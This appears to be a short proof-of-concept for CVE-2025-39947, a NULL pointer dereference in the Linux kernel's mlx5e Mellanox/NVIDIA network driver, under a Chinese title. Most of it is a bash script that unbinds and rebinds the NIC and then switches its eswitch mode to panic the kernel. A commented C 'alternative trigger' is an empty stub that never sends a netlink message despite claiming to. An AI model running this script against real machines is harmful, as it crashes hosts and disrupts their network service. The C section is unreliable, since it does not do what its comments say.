CVE-2025-39947 Linux内核mlx5e驱动空指针解引用漏洞

# PoC for CVE-2025-39947 - Linux Kernel mlx5e NULL Pointer Dereference # This PoC triggers the vulnerability by attempting to set eswitch mode # while the uplink netdev is in an unbound state. #!/bin/bash # Prerequisites: System with Mellanox/NVIDIA mlx5 NIC, root or CAP_NET_ADMIN # This script attempts to trigger the NULL pointer dereference in mlx5e_vport_rep_load() # Step 1: Identify the mlx5 device DEV_LINK=$(ls /sys/class/net/ | grep -E "^ens.*f0$" | head -1) echo "[*] Target device: $DEV_LINK" # Step 2: Unbind the uplink netdev from mlx5_core.eth driver echo "[*] Unbinding uplink netdev..." DEV_PCI=$(ethtool -i $DEV_LINK 2>/dev/null | grep "bus-info" | awk '{print $2}') echo $DEV_PCI > /sys/bus/pci/drivers/mlx5_core/unbind 2>/dev/null sleep 1 # Step 3: Rebind the device (this clears uplink_netdev pointer) echo "[*] Rebinding device..." echo $DEV_PCI > /sys/bus/pci/drivers/mlx5_core/bind 2>/dev/null sleep 1 # Step 4: Immediately try to set eswitch mode to trigger the NULL dereference echo "[*] Triggering eswitch mode change..." DEV_NAME=$(ls /sys/bus/pci/devices/$DEV_PCI/net/ 2>/dev/null | head -1) if [ -n "$DEV_NAME" ]; then devlink dev eswitch set pci/$DEV_PCI mode switchdev 2>/dev/null echo "[*] Command sent. Check dmesg for kernel panic." else echo "[!] Could not find netdev for $DEV_PCI" fi # Alternative trigger using netlink directly (requires C code) # Compile and run the following C program: /* #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> int main(int argc, char *argv[]) { // Open netlink socket int nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nlfd < 0) { perror("socket"); return 1; } // Send DEVLINK_ESWITCH_MODE_SET message // This will trigger mlx5_devlink_eswitch_mode_set() -> ... -> mlx5e_vport_rep_load() // which dereferences the NULL uplink_netdev pointer printf("Sending devlink eswitch mode set via netlink...\n"); // Note: Actual netlink message construction requires proper headers // and family ID resolution for the devlink generic netlink family close(nlfd); return 0; } */ echo "[*] PoC execution complete. Check 'dmesg | tail' for kernel oops/panic."